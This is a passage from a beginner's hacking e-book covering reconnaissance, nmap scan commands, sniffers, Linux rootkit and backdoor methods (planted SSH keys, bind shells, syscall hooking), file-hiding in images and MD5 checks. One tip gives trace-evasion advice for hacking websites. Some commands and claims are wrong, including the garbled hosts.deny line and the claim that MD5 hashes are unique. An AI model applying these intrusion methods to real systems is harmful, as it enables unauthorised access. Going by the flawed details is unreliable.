We will learn about call forging and sms forging in the later part of the book.

8. Information gathering and Scanning
Why Information gathering?
• Information Gathering can reveal online footprints of criminal.
• Information Gathering can help investigator to profile criminals
Information gathering of websites
We need to gather the following information about the website :
• Whois Information
• Owner of website.
• Email id used to register domain.

• Domain registrar.
• Domain name server information.
• Releted websites.
We can use website www.domaintools.com for this puropse.
Whois
Whois is query to database to get following information.
1.Owner of website.
2.Email id used to register domain.
3.Domain registrar.
4. Domain name server information.
5. Releted websites.
Reverse IP mapping
• Reverse IP will give number of websites hosted on same server.
• If one website is vulnerable on the server then hacker can easily root the server.
• Domainbyip.com

• Trace Route
Information Gathering Using Search Engine
• Search engines are efficient mediums to get specific results according to your requirements.
• Google & yahoo search engine gives best results out of all.
• But Specifically using www.kartoo.com will give us good information about the search.
• This type of search engines retrieves results from different search engine & make relation or connections between those results.

• Maltego is an open source intelligence and forensics application.
• It allows for the mining and gathering of information as well as the representation of this information in a meaningful way.
• Coupled with its graphing libraries, Maltego, allows you to identify key relationships between information and identify previously unknown relationships between them.
• Almost 80% internet users use blogs/forums for knowledge sharing purpose.
• Information gathering from specific blog will also helpful in investigations.
• Information gathering from Social Networking websites can also reveal personal info about suspect.
• Many websites stored email id lists for newsletters. These email ids can also be retrieved using email spiders.

Detecting ‘live’ systems on target network
Why Detecting ‘live’ systems on tagret network ?
¬ To determine the perimeter of the target network /system
¬ To facilitate network mapping
¬ To build an inventory of accessible systems on target network
Tools used for this
¬ War Dialers
¬ Ping Utilities
War Dialers
¬ A war dialer is a tool used to scan a large pool of telephone numbers to detect vulnerable modems to provide access to the system.
¬ A demon dialer is a tool used to monitor a specific phone number and target its modem to gain access to the system.
¬ Threat is high in systems with poorly configured remote access products providing entry to larger networks.
¬ Tools include THC-Scan, ToneLoc, TBA etc.
The term war dialing implies the exploitation of an organization's telephone, dial, and private branch exchange (PBX)

systems to infiltrate the internal network and use of computing resources during the actual attack. It may be surprising why we are discussing war dialing here as more PBX systems are coming with increased security configurations. However, the fact remains that there are as many insecure modems out there that can be compromised to gain access into the target system. What had initially caught the fancy of hackers in the movie 'war games', still manages to find carriers leading to compromise of systems. The war dialer in War Games is not very sophisticated as it only finds phone numbers which are suspected to be computer dial-in lines. A more aggressive version might actually attempt to determine the operating system, and a very aggressive version might attempt to perform some automated break -in attempts itself. If A real scanner with this functionality will attempt to analyze the carrier information, the negotiation and presence of protocols and/or banners to attempt to determine the remote system. It will then attempt to use default username/password combinations for that system.

9. Sniffers

Sniffers are almost as old as the Internet itself. They are one of the first tools that allowed system administrators to analyze their network and pinpoint where a problem is occurring. Unfortunately, crackers also run sniffers to spy on your network and steal various kinds of data. This paper discusses what a sniffer is, some of the more popular sniffers, and ways to protect your network against them. It also talks about a popular tool called Antisniff, which allows you to automatically detect sniffers running on your network.

What are Sniffers ?

In a non-switched network, Ethernet frames broadcast to all machines on the network, but only the computer that the packets are destined for will respond. All of the other machines on that network still see the packet, but if they are not the intended receiver, they will disregard it. When a computer is running sniffer software and it’s network interface is in promiscuous mode (where it listens for ALL traffic), then the computer has the ability to view all of the packets crossing the network.

If you are an Internet history buff and have been wondering where the term sniffer came from. Sniffer was a product that was originally sold by Network General. It became the market leader and people starting referring to all network analyzers as “sniffers.” I guess these are the same people who gave the name Q-Tip to cotton swabs.

Who uses Sniffers ?

LAN/WAN administrators use sniffers to analyze network traffic and help determine where a problem is on the network. A security administrator could use multiple sniffers, strategically placed throughout their network, as an intrusion detection system. Sniffers are great for system administrators, but they are also one of the most common tools a hacker uses. Crackers install sniffers to obtain usernames, passwords, credit card numbers, personal information, and other information that could be damaging to you and your company if it turned up in the wrong hands. When they obtain this information, crackers will use the passwords to attack other Internet sites and they can even turn a profit from selling credit card numbers.

Defeating Sniffers

One of the most obvious ways of protecting your network against sniffers is not to let them get broken into in the first place. If a cracker cannot gain access to your system, then there is no way for them to install a sniffer onto it. In a perfect world, we would be able to stop here. But since there are an unprecedented number of security holes found each month and most companies don’t have enough staff to fix these holes, then crackers are going to exploit vulnerabilities and install sniffers. Since crackers favor a central location where the majority of network traffic passes (i.e. Firewalls, proxies), then these are going to be their prime targets and should be watched closely. Some other possible “victims” where crackers like to install sniffers are next to servers where personal information can be seen (i.e. Webservers, SMTP servers).

A good way to protect your network against sniffers is to segment it as much as possible using Ethernet switches instead of regular hubs. Switches have the ability to segment your network traffic and prevent every system on the network from being able to “see” all packets. The drawback to this solution is cost. Switches are two to three times more expensive then hubs, but the trade-off is definitely worth it. Another option, which you can combine with a switched environment, is to use encryption. The sniffer still sees the traffic, but it is displayed as garbled data. Some drawbacks of using encryption are the speed and the chance of you using a weak encryption standard that can be easily broken. Almost all encryption will introduce delay into your network. Typically, the stronger the encryption, the slower the machines using it will communicate. System administrators and users have to compromise somewhere in the middle. Even though most system

administrators would like to use the best encryption on the market, it is just not practical in a world where security is seen as a profit taker, not a profit maker. Hopefully the new encryption standard that should be out shortly, AES (Advanced Encryption Standard), will provide strong enough encryption and transparency to the user to make everybody happy.

Some form of encryption is better then no encryption at all. If a cracker is running a sniffer on your network and notices that all of the data that he (or she) is collecting is garbled, then most likely they will move on to another site that does not use encryption. But a paid or determined hacker is going to be able to break a weak encryption standard, so it is better to play it smart and provide the strongest encryption as long as it will not have everybody giving you dirty looks when you walk down the halls at work.

AntiSniff

In 1999, our buddies at L0pht Heavy Industries released a product called Antisniff. This product attempts to scan your network and determine if a computer is running in promiscuous mode. This is a helpful tool because if a sniffer is detected on your network, then 9 times out of 10, the system has been compromised. This happened to the Computer Science Department at California State University – Stanislaus. Here is what they posted on their local website: “A sniffer program has been found running on the Computer Science network. Sniffer programs are used to capture passwords. In order to protect yourself please change your password. Do not use a word out of a dictionary, put a number on the end of

a word or use proper names. Be inventive, use special characters and have 8 characters in your password.” I am sure there are hundreds of similar postings on internal websites throughout the world that don’t make it public as they have.

Antisniff also helps you find those system administrators who run a sniffer to find out what is wrong with their local network, but forget to ask for authorization beforehand. If you need to run a sniffer, then you should get permission in writing. If your Security Administrator is running Antisniff, then there is a good chance they will find it and you will have to explain why you are running a sniffer without authorization. Hopefully your security policy has a section on sniffers and will provide some guidance if you need to run a sniffer.

At the time of this writing, Antisniff version 1.021 is the current release. There is a nice GUI available for Windows 95/98/and NT machines. A command line version is also available for Solaris, OpenBSD, and Linux. This version of Antisniff only works in a “flat non-switched” environment. If your network is designed with routers and switches, then Antisniff

does not have the same functionality as in a non-switched environment. You can only use it on local networks that do not cross a router or switch. According to Lopht's website, the next major release of Antisniff will have the ability to figure out if a computer is running in promiscuous mode over routers and switches. The next release of Antisniff should definitely be more beneficial to system administrators because the price of switches are coming down and most companies are upgrading to switches to obtain 100/Full Mbps speeds. Even though you have a totally switched environment, you are still not out of the water. There are still firewalls, proxies, webservers, ftp servers, etc. where crackers still have the ability to install a sniffer and capture data locally. The only difference is, you have taken away their ability to capture data over the network.

Antisniff can also be used by blackhats to find intrusion detection systems. If they know where your intrusion detection systems are, then they can become stealth attackers, causing you much pain because you just spend $150,000 on a new intrusion detection system and they found a way to bypass it.

10. Linux Hacking

Linux is fast emerging as an affordable yet available operating system. As the popularity is growing so is the attention of players with malicious intent to break in to the systems.

Why Linux ?

- Majority of servers around the globe are running on Linux / Unix-like platforms
- Easy to get and Easy on pocket
- There are many types of Linux -Distributions /Distros / Flavors such as Red Hat, Mandrake, Yellow Dog, Debian etc.
- Source code is available
- Easy to modify.
- Easy to develop a program on Linux.

Linux is an operating system that can be downloaded free and "belongs" to an entire community of developers, not one corporate entity. With more and more people looking for an alternative to Windows, Linux has recently grown in popularity and is quickly becoming a favorite among major corporations and curious desktop users. Not only does it give

users a choice of operating systems, it also proves itself valuable with its power, flexibility, and reliability.
Linux supports most of the major protocols, and quite a few of the minor ones. Support for Internet, Novell, Windows, and Appletalk networking have been part of the Linux kernel for some time now. With support for Simple Network Management Protocol and other services (such as Domain Name Service), Linux is also well suited to serving large networks. Since Linux was developed by a team of programmers over the Internet, its networking features were given high priority. Linux is capable of acting as client and/or server to any of the popular operating systems in use today, and is quite capable of being used to run Internet Service Providers.
Linux is an implementation of the UNIX design philosophy, which means that it is a multi-user system. This has numerous advantages, even for a system where only one or two people will be using it. Security, which is necessary for protection of sensitive information, is built into Linux at selectable levels. More importantly, the system is designed to multi-task. Whether one user is running several programs or several users are running one program, Linux is capable of managing the traffic.
Another huge advantage of an open system is a large number of software authors and beta testers. This makes the software testing and refinement process faster and better. Because there is not a lot of commercial software for Linux, most software written for Linux is written because the authors want to do it and there need be no compromise of quality.
Linux is "Free" in two senses. In one sense, the Linux consumer is free to modify the system and do anything he or she wishes with it. In another sense, acquiring Linux does not necessarily require any cash outlay at all.

There are two very popular methods for acquiring and distributing Linux: FTP and CD-ROM. Most of the major Linux distributions (Red Hat, Debian, Slackware, Caldera) are available for free download from several popular sites. Though time consuming, it does not cost anything beyond connection charges.
Linux is one of the more stable operating systems available today. This is due in large part to the fact that Linux was written by programmers who were writing for other programmers and not for the corporate system. There are currently two mature program packaging standards in the Linux world - SuSE and Mandrake. Debian and Red Hat each have their own packaging systems; both will check dependencies, both can upgrade an entire running system without a reboot. This makes it easy to upgrade parts or all of a system, as well as add new software, or remove unwanted software.

Scanning Networks

- Once the IP address of a target system is known, an attacker can begin the process of port scanning, looking for holes in the system through which the attacker can gain access.
- A typical system has 2^16 -1 port numbers and one TCP port and one UDP port for each number.
- Each one of these ports are a potential way into the system.
- The most popular Scanning tool for Linux is Nmap.

Scanning helps one to know what services are running on a machine. This will show the open ports on which services are listening for connections. Once the targets are identified, an intruder is able to scan for listening ports.
Port scanning is the process of connecting to TCP and UDP ports on the target system to determine what services are running or in a listening state. Identifying listening ports is essential to determine the type of operating system and application in use on the system.
Types of port scanning:
1. TCP connect scan: This type of scan connects to the target port and completes a full three-way handshake (SYN, SYN/ACK and ACK).
2. TCP SYN scan: This is also called half-open scanning because it does not complete the three-way handshake, rather a SYN packet is sent and upon receiving a SYN/ACK packet it is determined that the target machines port is in a listening state and if an RST/ACK packet is received , it indicates that the port is not listening.
3. TCP FIN scan: This technique sends a FIN packet to the target port and based on RFC 793 the target system should send back an RST for all closed ports.
4. TCP Xmas Tree scan: This technique sends a FIN, URG and PUSH packet to the target port and based on RFC 793 the target system should send back an RST for all closed ports.
5. TCP Null scan: This technique turns off all flags and based on RFC 793, the target system should send back an RST for all closed ports.
6. TCP ACK scan: This technique is used to map out firewall rule sets. It can help determine if the firewall is a simple packet filter allowing only established connections or a stateful firewall performing advance packet filtering.
7. TCP Windows scan: This type of scan can detect both filtered and non-filtered ports on some systems due to anomaly in the way TCP windows size is reported.
8. TCP RPC scan: This technique is specific to UNIX systems and is used to detect and identify Remote Procedure Call

(RPC) ports and their associated program and version number.
9. UDP scan: This technique sends a UDP packet to the target port. If the target ports responds with an "ICMP port unreachable" message, the port is closed, if not then the port is open. This is a slow process since UDP is a connectionless protocol; the accuracy of this technique is dependent on many factors related to utilization of network and system resources.

Hacking tool Nmap
http://www.insecure.org/nmap
- Stealth Scan, TCP SYN
- nmap -v -sS 192.168.0.0/24
- UDP Scan
- nmap -v -sU 192.168.0.0/24
- Stealth Scan, No Ping
- nmap -v -sS -P0 192.168.0.0/24
- Fingerprint
- nmap -v -0 192.168.0.0/24 #TCP

Nmap is covered under the GNU General Public License (GPL) and can be downloaded free of charge from http://www.insecure.org/nmap. It comes as tarred source as well as RPM format. The usage syntax of Nmap is fairly simple. Options to nmap on the command-line are different types of scans that are specified with the -s flag. A ping scan, for example, is "-sP". Options are then specified, followed by the hosts or networks to be targeted. Nmap's functionality is greatly increased when run as root.
Nmap is flexible in specifying targets. The user can scan one host or scan entire networks by pointing Nmap to the network address with a "/mask" appended to it. Targeting "victim/24" will target the Class C network, whereas "victim/16" will target the Class B. Nmap also allows the user to specify networks with wild cards, as in 192.168.7.*, which is the same as 192.168.7.0/24, or 192.168.7.1,4,5-16 to scan the selected hosts on that subnet.
Users are able to sweep entire networks looking for targets with Nmap. This is usually done with a ping scan by using the

"-sP" flag. A TCP "ping" will send an ACK to each machine on a target network. Machines that are alive on the network will respond with a TCP RST. To use the TCP "ping" option with a ping scan, the "-PT" flag is included to specific port on the target network.

Nmap has been covered in detail in module three and readers are advised to refer to that to learn more about the OS fingerprinting and other scan options.

Password cracking in Linux

¬ Xcrack (http://packetstorm.linuxsecurity.com/Crackers/)

¬ Xcrack doesn't do much with rules.

¬ It will find any passwords that match words in the dictionary file the user provides, but it won't apply any combinations or modifications of those words.

¬ It is a comparatively fast tool.

Xcrack (http://packetstorm.linuxsecurity.com/Crackers/)

Xcrack is a simple dictionary based password cracking tool. It will find any passwords that match words in the dictionary file the user provide. It does not generate permutation combination of the words provided in the dictionary to arrive at the right password. For this reason, it is a comparatively faster tool, though efficacy might be less.

SARA (Security Auditor’s Research Assistant)

http://www-arc.com/sara

¬ The Security Auditor's Research Assistant (SARA) is a third generation Unix-based security analysis tool that supports the FBI Top 20 Consensus on Security.

¬ SARA operates on most Unix-type platforms including Linux & Mac OS X

¬ SARA is the upgrade of SATAN tool.

¬ Getting SARA up and running is a straight forward compilation process, and the rest is done via a browser.

SARA (Security Auditor's Research Assistant), a derivative of the Security Administrator Tool for Analyzing Networks (SATAN), remotely probes systems via the network and stores its findings in a database. The results can be viewed with

any Level 2 HTML browser that supports the http protocol.
When no primary_target(s) are specified on the command line, SARA starts up in interactive mode and takes commands from the HTML user interface.
When primary_target(s) are specified on the command line, SARA collects data from the named hosts, and, possibly, from hosts that it discovers while probing a primary host. A primary target can be a host name, a host address, or a network number. In the latter case, SARA collects data from each host in the named network.
SARA can generate reports of hosts by type, service, and vulnerability by trust relationship. In addition, it offers tutorials that explain the nature of vulnerabilities and how they can be eliminated.
By default, the behavior of SARA is controlled by a configuration file (config/sara.cf). The defaults can be overruled via command-line options or via buttons etc. in the HTML user interface.
Linux Rootkits
¬ One way an intruder can maintain access to a compromised system is by installing a rootkit.
¬ A rootkit contains a set of tools and replacement executables for many of the operating system's critical components, used to hide evidence of the attacker's presence and to give the attacker backdoor access to the system.
¬ Rootkits require root access to to install, but once set up, the attacker can get root access back at any time.
Conventionally, UNIX and Linux have been known to have rootkits built, as the intruder is aware of the code. Here we will focus on rootkits that use the LKM or Loadable Kernel Module.
A brief review: Rootkits appeared in the early 90's, and one of the first advisories came out in Feb 1994. This advisory from CERT-CC addressed "Ongoing Network Monitoring Attacks" CA-1994-01 revised on September 19, 1997. Rootkits have increased in popularity since then and are getting increasingly difficult to detect. The most common rootkits are used for SunOS and Linux operating systems. Rootkits contain several different programs. A typical rootkit will include an Ethernet Sniffer, which is designed to sniff out passwords. Rootkits can also include Trojan programs used as backdoors such as inetd or login. Support programs such as ps, netstat, rshd, and ls to hide the attacker directories or processes. Finally, log cleaners, such as zap, zap2, or z2, are used to remove login entries from the wtmp, utmp, and lastlog files. Some rootkits also enable services such as telnet, shell, and finger. The rootkit may also include scripts that will clean up other files in the /var/log and var/adm directories. Using the modified programs of ls, ps, and df installed on the box, the intruder can "hide" his/her files and programs from the legitimate system administrator.

The intruder next uses programs within the rootkit to clean up the extensive log files generated from the initial vulnerability exploitation. The intruder then uses the installed backdoor program for future access to the compromised system in order to retrieve sniffer logs or launch another attack. If a rootkit is properly installed and the log-files are

cleaned correctly, a normal system administrator is unaware that the intrusion has even occurred until another site contacts him or the disks fill because of the sniffer logs.

The most severe threat to system security that can be caused by a rootkit comes from those that deploy LKM (Loadable Kernel Module) trojans. Loadable Kernel Modules are a mechanism for adding functionality to an operating-system kernel without requiring a kernel recompilation. Even if an infected system is rebooted, the LKM process will reload the Trojan during boot-up just like any other kernel module. Loadable Kernel Modules are used by many operating systems including Linux, Solaris, and FreeBSD.

The LKM rootkits facilitate the subversion of system binaries. Knark, Adore, and Rtkit are just a few of many LKM rootkits available today. As they run as part of the kernel, these rootkits are less detectable than conventional ones.

Let us see how a typical backdoor can be installed by an intruder.

The goal of backdoor is to give access to the hacker despite measures by the compromised system's administrator, with least amount of time and visibility. The backdoor that gives local user root access can be: set uid programs, trojaned system programs, cron job backdoor.

Set uid programs. The attacker may plant some set uid shell program in the file system, which when executed will grant the root to the attacker.

Trojaned system programs. The attacker can alter some system programs, such as "login" that will give him root access.

Cron job backdoor. The attacker may add or modify the jobs of the cron while his program is running so that he can get root access.

The backdoor that gives remote user root access can be: ".rhost" file ssh authorized keys, bind shell, trojaned service.

- ".rhosts" file. Once "+ +" is in some user's .rhosts file, anybody can log into that account from anywhere without password.
- ssh authorized keys. The attacker may put his public key into victims ssh configuration file "authorized_keys", so

that he can log into that account without password.
¬ Bind shell. The attacker can bind the shell to certain TCP port. Anybody doing a telnet to that port will have an interactive shell. More sophisticated backdoors of this kind can be UDP based, or unconnected TCP, or even ICMP based.
¬ Trojaned service. Any open service can be trojaned to give access to remote user. For example, trojaned the inetd program creates a bind shell at certain port, or trojaned ssh daemon give access to certain password.
After the intruder plants and runs the backdoor, his attention turns to hiding his files and processes. However, these can be easily detected by the system administrator - especially if the system is running tripwire.
Let us see how a LKM rootkit helps achieve the attacker's needs.
In the case of LKM trojaned rootkits, the attacker can put LKM in /tmp or /var/tmp, the directory that the system administrator cannot monitor. Moreover, he can effectively hide files, processes, and network connections. Since he can modify the kernel structures, he can replace the original system calls with his own version.
¬ To hide files. Commands like "ls", "du" use sys_getdents() to obtain the information of a directory. The LKM will just filter out files such that they are hidden.
¬ To hide processes. In Linux implementations, process information is mapped to a directory in /proc file system. An attacker can modify sys_getdents() and mark this process as invisible in the task structure. The normal implementation is to set task's flag (signal number) to some unused value.
¬ To hide network connections. Similar to process hiding, the attacker can try to hide something inside /proc/net/tcp and /proc/net/udp files. He can trojan the sys_read () so that whenever the system reads these two files and a line matching certain string, the system call will not reveal the network connection.

¬ To redirect file execution. Sometimes, the intruder may want to replace the system binaries, like "login", without changing the file. He can replace sys_execve () so that whenever the system tries to execute the "login" program, it will be re-directed to execute the intruder's version of login program.
¬ To hide sniffer. Here we refer to hiding the promiscuous flag of the network interface. The system call to Trojan in this case is sys_ioctl().

¬ To communicate with LKM. Once the hacker has his LKM installed, he will attempt to modify some system calls such that when a special parameter is passed, the system call will be subverted.

¬ To hide LKM. A perfect LKM must be able to hide itself from the administrator. The LKM's in the system are kept in a single linked list. To hide a LKM an attacker can just remove it from the list so that command such as "lsmod" will not reveal it.

¬ To hide symbols in the LKM. Normally functions defined in the LKM will be exported so that other LKM can use them. An attacker can use a macro and put it at the end of LKM to prevent any symbols from being exported.

Linux Tools : Security Testing tools

o NMap (http://www.insecure.org/nmap)

Premier network auditing and testing tool.

o LSOF (ftp://vic.cc.pudue.edu/pub/tools/unix/lsof)

LSOF lists open files for running Unix/Linux processes.

o Netcat (http://www.atstake.com/research/tools/index.html)

Netcat is a simple Unix utility which reads and writes data across network connections, using TCP or UDP protocol.

o Hping2 (http://www.kyuzz.org/antirez/hping/)

hping2 is a network tool able to send custom ICMP/UDP/TCP packets and to display target replies like ping does with ICMP replies.

o Nemesis (http://www.packetninja.net/nemesis/)

The Nemesis Project is designed to be a command-line based, portable human IP stack for Unix/Linux

Linux Security Countermeasures

Countermeasures

¬ Physical Security

o It is ideal to restrict physical access the computer system so that unauthorized people don't get to misuse the system.

¬ Password Security

o Assign hard to guess passwords which are long enough.

o Ensure procedural discipline so that passwords are kept private

o Ensure that system does not accept null password or other defaults

¬ Network Security

o Ensure all default network accesses are denied

$ cat: ALL: ALL" >> /etc/hosts.deny

o Ensure that only essential services are running. Stop unused services like sendmail, NFS etc

$ chkconfig --list

$ chkconfig --del sendmail

$ chkconfig --del nfslock

$ chkconfig --del rpc

o Verify system logs at regular intervals to check for suspicious activity - (System logs in /var/log/secure)

¬ Patch the Linux system and keep it up to date

o Check for bug fixes at the vendor site

o Update packages as and when available at the Update site of the vendor.

The Tutorial based hacks and explanations.

1. Chat With Friends using MS-DOS

Step 1:- All you need is your friends IP address and your Command Prompt.

Step 2 :- Open your notepad and write tis code as it is.

@echo off:

A

```
Cls
echo MESSENGER
set /p n=User:
set /p m=Message:
net send %n% %m%
Pause
Goto A3.
Step 3 :- Now save this as "Messenger.Bat”.
Step 4 :- Drag this file (.bat file)over to Command Prompt and press enter!
Step 5 :- You would then see some thing like this:
MESSENGER
User:
Step 6 :- After "User” type the IP address of the computer you want to contact.
Step 7 :- Before you press "Enter” it should look like this:
MESSENGER
User: IP_Address User: IP_Address
Message: Hi, How are you ? Message: Hi, How are you?
Step 8 :- Now all you need to do is press "Enter”, and start chatting.
“This Trick Works In the LAN connection Only. And may Not support some latest operating Systems
like Windows 7 and Windows Vista.”
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 94
2. How To Change Your IP address
Step 1. Click on "Start" in the bottom left hand corner of screen
Step 2. Click on "Run"
Step 3. Type in "cmd" and hit ok You should now be at an MSDOS prompt screen.
Step 4. Type "ipconfig /release" just like that, and hit "enter"
```

Step 5. Type "exit" and leave the prompt
Step 6. Right-click on "Network Places" or "My Network Places" on your desktop.
Step 7. Click on "properties
You should now be on a screen with something titled "Local Area Connection", or something close to that, and, if you have a network hooked up, all of your other networks.
Step 8. Right click on "Local Area Connection" and click "properties"
Step 9. Double-click on the "Internet Protocol (TCP/IP)" from the list under the "General" tab
Step 10. Click on "Use the following IP address" under the "General" tab
Step 11. Create an IP address (It doesn't matter what it is. I just type 1 and 2 until i fill the area up).
Step 12. Press "Tab" and it should automatically fill in the "Subnet Mask" section with default numbers.
Step 13. Hit the "Ok" button here
Step 14. Hit the "Ok" button again You should now be back to the "Local Area Connection" screen.
Step 15. Right-click back on "Local Area Connection" and go to properties again.
Step 16. Go back to the "TCP/IP" settings
Step 17. This time, select "Obtain an IP address automatically" tongue.gif
Step 18. Hit "Ok"
Step 19. Hit "Ok" again
Step 20. You now have a new IP address
With a little practice, you can easily get this process down to 15 seconds.
“This only changes your dynamic IP address, not your ISP/IP address. If you plan on hacking a website with this trick be extremely careful, because if they try a little, they can trace it back.”

3. How To fix corrupted XP files
How to fix corrupted windows file is very easy.Following these following steps
Requirement:
1. Windows XP CD

Now, follow this steps:
Step 1. Place the xp cd in your cd/dvd drive
Step 2. Go to start
Step 3. Run
Step 4. Type sfc /scannow
Now sit back and relax, it should all load and fix all your corrupted file on win XP.Hope this method can fix your corrupted xp system files.
“ If this Does Not Work Then You Need to Format The Computer as there would be Viruses in the PC and you can can Also Use the antivirus if the Possible otherwise format the PC “.

4. Delete an “Undeletable” File / Folder
You all Are familier With such kinfd of ERROR in windows so how to Fix them.
Step 1:- Open a Command Prompt window and leave it open.
Step 2- Close all open programs.
Step 3:- Click Start, Run and enter TASKMGR.EXE
Step 4:- Go to the Processes tab and End Process on Explorer.exe.
Step 5:- Leave Task Manager open.
Step 6:- Go back to the Command Prompt window and change to the directory the AVI (or other undeletable file) is located in.
Step 7:- At the command prompt type DEL <filename> where <filename> is the file you wish to delete.
Step 8:- Go back to Task Manager, click File, New Task and enter EXPLORER.EXE to restart the GUI shell.
Step 9:- Close Task Manager.
Or you can try this
Step 1:- Open Notepad.exe
Step 2:-Click File>Save As..>
Step 3:-locate the folder where ur undeletable file is

Step 4:-Choose 'All files' from the file type box
Step 5:-click once on the file u wanna delete so its name appears in the 'filename' box
Step 6:-put a " at the start and end of the filename
(the filename should have the extension of the undeletable file so it will overwrite it)
Step 7:-click save,

Step 8:-It should ask u to overwrite the existing file, choose yes and u can delete it as normal
Here's a manual way of doing it.
Step 1:- Start
Step 2:- Run
Step 3:- Type: command
Step 4:- To move into a directory type: cd c:*** (The stars stand for your folder)
Step 5:- If you cannot access the folder because it has spaces for example Program Files or Kazaa Lite folder you have to do the following. instead of typing in the full folder name only take the first 6 letters then put a ~ and then 1 without spaces. Example: cd c:\progra~1\kazaal~1
Step 6:- Once your in the folder the non-deletable file it in type in dir - a list will come up with everything inside.
Step 7:- Now to delete the file type in del ***.bmp, txt, jpg, avi, etc... And if the file name has spaces you would use the special 1st 6 letters followed by a ~ and a 1 rule. Example: if your file name was bad file.bmp you would type once in the specific folder thorugh command, del badfil~1.bmp and your file should be gone. Make sure to type in the correct extension.
“ You can use antivirus to remove this error if then also the problem persists then you can use the following method “.

5. What Is Steganography?

Steganography is the art and science of hiding messages. Steganography is often combined with cryptography so that even if the message is discovered it cannot be read.

The word steganography is derived from the Greek words "steganos" and "graphein", which mean "covered" and "writing." Steganography, therefore, is covered writing.

Historical stenganography involved techniques such as disappearing ink or microdots. Modern steganography involves hiding data in computer files.

It is fairly easy to hide a secret message in a graphic file without obviously altering the visible appearance of that file.

Steganography software

OutGuess is a universal steganographic tool that allows the insertion of hidden information into the redundant bits of data sources. The nature of the data source is irrelevant to the core of OutGuess. The program relies on data specific handlers that will extract redundant bits and write them back after modification. In this version the PNM and JPEG image formats are supported. In the next paragraphs, images will be used as concrete example of data objects, though OutGuess can use any kind of data, as long as a handler is provided.

F5 is a publicly available steganography software package which hides messages in BMP, GIF , and JPG graphics.

Camera/Shy is the only steganographic tool that automatically scans for and delivers decrypted content straight from the Web. It is a stand-alone, Internet Explorer-based browser that leaves no trace on the user's system and has enhanced security.

JPHIDE and JPSEEK are programs which allow you to hide a file in a jpeg visual image. There are lots of versions of similar programs available on the internet but JPHIDE and JPSEEK are rather special. The design objective was not simply to hide a file but rather to do this in such a way that it is impossible to prove that the host file contains a hidden file. Given a typical visual image, a low insertion rate (under 5%) and the absence of the original file, it is not possible to conclude with any worthwhile certainty that the host file contains inserted data. As the insertion percentage increases the statistical nature of the jpeg coefficients differs from "normal" to the extent that it raises suspicion. Above 15% the effects begin to become visible to the naked eye. Of course some images are much better than others when used a host file - plenty of fine detail is good. A cloudless blue sky over a snow covered ski paradise is bad. A waterfall in a forest is probably ideal.

MP3Stego will hide information in MP3 files during the compression process. The data is first compressed, encrypted and then hidden in the MP3 bit stream. Although MP3Stego has been written with steganographic applications in mind it might be used as a copyright marking system for MP3 files (weak but still much better than the MPEG copyright flag defined by the standard). Any opponent can uncompress the bit stream and recompress it; this will delete the hidden information (actually this is the only attack we know yet) but at the expense of severe quality loss.
Steghide is a steganography program that is able to hide data in JPG, BMP, WAV, and AU files. The color frequencies are not changed thus making the embedding resistant against first-order statistical tests.
Hydan steganographically conceals a message ito an executable. It exploits redundancy in the i386 instruction set by defining sets of functionally equivalent instructions. It then encodes information in machine code by using the appropriate instructions from each set. The executable filesize remains unchanged. The message is Blowfish encrypted with a user-supplied passphrase before being embedded.
The 1st method that We will Study Here Is Using command Prompt.
To hide a file behind a image.
To hide a file behind a image file which means that if any one opens that image he will see the image only but if you open in a special way then you can open the hidden file behind the image.
So to hide the file behind a image open CMD.exe
1) Select an image to be used for hiding file behind the image.
2) Now select a file to hide behind the image and make it in .RAR format. With the help of the WinRAR.
3) And most important is that paste both the files on desktop and run the following command on the command prompt.
4) And then type the following command. { cd } { Copy /b imagename.jpg + filename.rar finalnameofimage.jpg }

And then hit enter the file will be created with the file final file name of the image.
“ Using This method for The illegal Activities is against the Laws this tutorial is for educational purpose only “.
“ You Can Also Use The softwares for the steganography like STEGHIDE Or F5 which will make your

work easy and time efficient “.
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 101
6. What Is MD5 Hash & How to Use It ?
In this post I will explain you about an interesting cryptographic algorithm called MD5 (Message-Digest algorithm 5). This algorithm is mainly used to perform file integrity checks under most circumstances. Here I will not jump into the technical aspects of this algorithm, rather will tell you about how to make use of this algorithm in your daily life. Before I tell you about how to use MD5, I would like to share one of my recent experience which made me start using MD5 algorithm.
Recently I made some significant changes and updates to my website and as obvious I generated a complete backup of the site on my server. I downloaded this backup onto my PC and deleted the original one on the server. But after a few days something went wrong and I wanted to restore the backup that I downloaded. When I tried to restore the backup I was shocked! The backup file that I used to restore was corrupted. That means, the backup file that I downloaded onto my PC wasn’t exactly the one that was on my server. The reason is that there occured some data loss during the download process. Yes, this data loss can happen often when a file is downloaded from the Internet. The file can be corrupted due to any of the following reasons.
- Data loss during the download process, due to instability in the Internet connection/server
- The file can be tampered due to virus infections or,
- Due to Hacker attacks

So whenever you download any valuable data from the Internet it is completely necessary that you check the integrity of the downloaded file. That is you need to ensure that the downloaded file is exactly the same as that of the original one. In this scenario the MD5 hash can become handy. All you have to do is generate MD5 hash (or MD5 check-sum) for the intended file on your server. After you download the file onto your PC, again generate MD5 hash for the downloaded file. Compare these two hashes and if it matches then it means that the file is downloaded perfectly without any data loss.
A MD5 hash is nothing but a 32 digit hexadicimal number which can be something as follows
A simple MD5 Hash
e4d909c290d0fb1ca068ffaddf22cbd0
This hash is unique for every file irrespective of it’s size and type. That means two .exe files with the same size will not

have the same MD5 hash even though they are of same type and size. So MD5 hash can be used to uniquely identify a file.

How to use MD5 Hash to check the Integrity of Files?

Suppose you have a file called backup.tar on your server. Before you download, you need to generate MD5 hash for this file on your server. To do so use the following command.

For UNIX:

```
md5sum backup.tar
```

When you hit ENTER you'll see something as follows

```
e4d909c290d0fb1ca068ffaddf22cbd0
```

This is the MD5 hash for the file backup.tar. After you download this file onto your PC, you can cross check it's integrity by again re-generating MD5 hash for the downloaded file. If both the hash matches then it means that the file is perfect. Otherwise it means that the file is corrupt. To generate the MD5 hash for the downloaded file on your Windows PC use the following freeware tool.

"You can Download MD5 Summer From Here: http://www.md5summer.org/download.html ".

7. What Is Phishing ?

The act of sending an Email to a user falsely claiming to be an established legitimate enterprise in an attempt to scam the user into surrendering private information that will be used for identity theft.

The Email directs the user to visit a Web site where they are asked to update personal information, such as passwords and credit card, social security, and bank account numbers, that the legitimate organization already has. The Web site, however, is Bogus and set up only to steal the User's information.

Phishing attacks are Trying to steal your Money !!!

Phishing Scams Could Be-

- Emails inviting you to join a Social Group, asking you to Login using your Username and Password.
